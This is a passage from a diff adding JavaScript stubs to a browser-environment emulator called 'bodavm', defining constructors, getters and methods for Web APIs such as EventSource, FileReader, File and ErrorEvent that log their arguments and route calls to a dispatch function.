'prototype'); +// EncodedAudioChunk对象 + +bodavm.memory.globalobj['EncodedAudioChunk'] = function EncodedAudioChunk() { + console.log_copy('EncodedAudioChunk 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof EncodedAudioChunk)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EncodedAudioChunk': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EncodedAudioChunk'], "EncodedAudioChunk"); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "byteLength", { + configurable: true, + enumerable: true, + get: function byteLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "byteLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "copyTo", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "copyTo", arguments); + } +}, 'prototype'); +// EncodedVideoChunk对象 + +bodavm.memory.globalobj['EncodedVideoChunk'] = function EncodedVideoChunk() { + console.log_copy('EncodedVideoChunk 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof EncodedVideoChunk)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EncodedVideoChunk': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EncodedVideoChunk'], "EncodedVideoChunk"); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "byteLength", { + configurable: true, + enumerable: true, + get: function byteLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "byteLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "copyTo", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "copyTo", arguments); + } +}, 'prototype'); +// ErrorEvent对象 + +bodavm.memory.globalobj['ErrorEvent'] = function ErrorEvent() { + console.log_copy('ErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ErrorEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ErrorEvent'], "ErrorEvent"); +bodavm.memory.globalobj['ErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['ErrorEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('ErrorEvent', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ErrorEvent', "filename", { + configurable: true, + enumerable: true, + get: function filename() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "filename_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ErrorEvent', "lineno", { + configurable: true, + enumerable: true, + get: function lineno() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "lineno_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ErrorEvent', "colno", { + configurable: true, + enumerable: true, + get: function colno() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "colno_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ErrorEvent', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +// EventCounts对象 + +bodavm.memory.globalobj['EventCounts'] = function EventCounts() { + console.log_copy('EventCounts 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof EventCounts)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventCounts'], "EventCounts"); +bodavm.toolsFunc.defineProperty('EventCounts', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "values", arguments); + } +}, 'prototype'); +// EventSource对象 + +bodavm.memory.globalobj['EventSource'] = function EventSource() { + console.log_copy('EventSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof EventSource)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EventSource': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventSource'], "EventSource"); +bodavm.memory.globalobj['EventSource'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['EventSource'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('EventSource', "CONNECTING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('EventSource', "OPEN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('EventSource', "CLOSED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('EventSource', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "withCredentials", { + configurable: true, + enumerable: true, + get: function withCredentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "withCredentials_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "onopen", { + configurable: true, + enumerable: true, + get: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onopen_get", arguments); + }, + set: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onopen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "CONNECTING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "OPEN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "CLOSED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "close", arguments); + } +}, 'prototype'); +// EyeDropper对象 + +bodavm.memory.globalobj['EyeDropper'] = function EyeDropper() { + console.log_copy('EyeDropper 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.EyeDropper(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EyeDropper'], "EyeDropper"); +bodavm.toolsFunc.defineProperty('EyeDropper', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EyeDropper'].prototype, "EyeDropper", "open", arguments); + } +}, 'prototype'); +// WritableStream对象 + +bodavm.memory.globalobj['WritableStream'] = function WritableStream() { + console.log_copy('WritableStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.WritableStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStream'], "WritableStream"); +bodavm.toolsFunc.defineProperty('WritableStream', "locked", { + configurable: true, + enumerable: true, + get: function locked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "locked_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStream', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStream', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStream', "getWriter", { + configurable: true, + enumerable: true, + writable: true, + value: function getWriter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "getWriter", arguments); + } +}, 'prototype'); +// FileSystemHandle对象 + +bodavm.memory.globalobj['FileSystemHandle'] = function FileSystemHandle() { + console.log_copy('FileSystemHandle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileSystemHandle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemHandle'], "FileSystemHandle"); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "isSameEntry", { + configurable: true, + enumerable: true, + writable: true, + value: function isSameEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "isSameEntry", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "queryPermission", { + configurable: true, + enumerable: true, + writable: true, + value: function queryPermission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "queryPermission", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "requestPermission", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPermission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "requestPermission", arguments); + } +}, 'prototype'); +// FeaturePolicy对象 + +bodavm.memory.globalobj['FeaturePolicy'] = function FeaturePolicy() { + console.log_copy('FeaturePolicy 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FeaturePolicy)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FeaturePolicy'], "FeaturePolicy"); +bodavm.toolsFunc.defineProperty('FeaturePolicy', "allowedFeatures", { + configurable: true, + enumerable: true, + writable: true, + value: function allowedFeatures() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "allowedFeatures", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FeaturePolicy', "allowsFeature", { + configurable: true, + enumerable: true, + writable: true, + value: function allowsFeature() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "allowsFeature", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FeaturePolicy', "features", { + configurable: true, + enumerable: true, + writable: true, + value: function features() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "features", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FeaturePolicy', "getAllowlistForFeature", { + configurable: true, + enumerable: true, + writable: true, + value: function getAllowlistForFeature() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "getAllowlistForFeature", arguments); + } +}, 'prototype'); +// FederatedCredential对象 + +bodavm.memory.globalobj['FederatedCredential'] = function FederatedCredential() { + console.log_copy('FederatedCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FederatedCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FederatedCredential': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FederatedCredential'], "FederatedCredential"); +bodavm.memory.globalobj['FederatedCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['FederatedCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('FederatedCredential', "provider", { + configurable: true, + enumerable: true, + get: function provider() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "provider_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FederatedCredential', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FederatedCredential', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FederatedCredential', "iconURL", { + configurable: true, + enumerable: true, + get: function iconURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "iconURL_get", arguments); + }, + set: undefined +}, 'prototype'); +// fetch对象 + +bodavm.memory.globalobj['fetch'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('fetch', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('fetch', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "fetch" +}); +// File对象 + +bodavm.memory.globalobj['File'] = function File() { + console.log_copy('File 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof File)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'File': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['File'], "File"); +bodavm.memory.globalobj['File'].prototype.__proto__ = bodavm.memory.globalobj['Blob'].prototype; +bodavm.memory.globalobj['File'].__proto__ = bodavm.memory.globalobj['Blob']; +bodavm.toolsFunc.defineProperty('File', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('File', "lastModified", { + configurable: true, + enumerable: true, + get: function lastModified() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "lastModified_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('File', "lastModifiedDate", { + configurable: true, + enumerable: true, + get: function lastModifiedDate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "lastModifiedDate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('File', "webkitRelativePath", { + configurable: true, + enumerable: true, + get: function webkitRelativePath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "webkitRelativePath_get", arguments); + }, + set: undefined +}, 'prototype'); +// FileList对象 + +bodavm.memory.globalobj['FileList'] = function FileList() { + console.log_copy('FileList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileList'], "FileList"); +bodavm.toolsFunc.defineProperty('FileList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileList'].prototype, "FileList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileList'].prototype, "FileList", "item", arguments); + } +}, 'prototype'); +// FileReader对象 + +bodavm.memory.globalobj['FileReader'] = function FileReader() { + console.log_copy('FileReader 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.FileReader(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileReader'], "FileReader"); +bodavm.memory.globalobj['FileReader'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['FileReader'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('FileReader', "EMPTY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('FileReader', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('FileReader', "DONE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('FileReader', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onloadend", { + configurable: true, + enumerable: true, + get: function onloadend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadend_get", arguments); + }, + set: function onloadend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "EMPTY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "DONE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "readAsArrayBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function readAsArrayBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsArrayBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "readAsBinaryString", { + configurable: true, + enumerable: true, + writable: true, + value: function readAsBinaryString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsBinaryString", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "readAsDataURL", { + configurable: true, + enumerable: true, + writable: true, + value: function readAsDataURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsDataURL", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "readAsText", { + configurable: true, + enumerable: true, + writable: true, + value: function readAsText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsText", arguments); + } +}, 'prototype'); +// FileSystemDirectoryHandle对象 + +bodavm.memory.globalobj['FileSystemDirectoryHandle'] = function FileSystemDirectoryHandle() { + console.log_copy('FileSystemDirectoryHandle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileSystemDirectoryHandle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; 